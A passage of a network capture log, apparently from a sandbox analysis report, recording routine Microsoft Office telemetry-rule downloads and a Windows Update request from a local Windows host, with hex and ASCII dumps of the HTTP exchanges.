2024-11-16 19:13:02 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.4	49858	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:02 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:02 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:02 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: fa408a18-501e-0064-15b8-371f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191302Z-16547b76f7fht2hfhC1DFWbngg00000003n000000000axb7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:02 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.4	49861	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:02 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:02 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:02 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: cf84bce2-801e-0083-40b8-37f0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191302Z-1866b5c5fbbtpjhjhC1DFWr6tw0000000360000000006xx7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:02 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.4	49863	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:02 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:02 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:02 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: f23710ee-101e-000b-743d-385e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191302Z-164f84587bfbvgrghC1DFWbs7w0000000360000000009hmz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-16 19:13:02 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49862	52.149.20.212	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:02 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=+7vLtpV9PoSKS8u&MD=7veRZGpl HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-16 19:13:02 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 010f87b2-83e7-4963-9e38-a4ff6ffb9d5e MS-RequestId: 116b2d5f-0398-4569-a1ae-963cb02df1d5 MS-CV: JwNUb7qa9UC/gwPQ.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sat, 16 Nov 2024 19:13:01 GMT Connection: close Content-Length: 30005
2024-11-16 19:13:02 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-16 19:13:02 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.4	49866	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:02 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:02 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:02 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 15e9ab73-801e-0047-76bb-377265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191302Z-16547b76f7fffb7lhC1DFWdsxg00000003eg000000004rw6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:02 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.4	49868	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:02 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:03 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:02 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 27141695-f01e-003c-34af-368cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191302Z-1866b5c5fbbzzh8chC1DFWdrc400000002w000000000a2ee x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:03 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.4	49869	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:02 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:03 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:02 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: a12cb5ef-101e-007a-7428-37047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191302Z-164f84587bfs5tz9hC1DFW9a3w000000039000000000b1ud x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:03 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.4	49870	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:02 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:03 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:02 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: a9c4265b-101e-000b-57af-365e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191302Z-16547b76f7fx6rhxhC1DFW76kg0000000pz000000000hrzc x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:03 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.4	49872	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:03 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:03 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:03 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: f08eb9b9-301e-0000-60ae-37eecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191303Z-164f84587bf6n6jwhC1DFW90fn00000002gg000000000b0a x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:03 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.4	49874	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:03 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:03 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:03 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 7a7e882b-d01e-002b-49aa-3625fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191303Z-16547b76f7fkf5v9hC1DFW2y5s000000035g000000002wy8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-16 19:13:03 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.4	49875	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:03 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:03 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:03 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 140e2611-e01e-003c-3f87-36c70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191303Z-164f84587bfh9nvdhC1DFWmce0000000012g00000000kvgr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
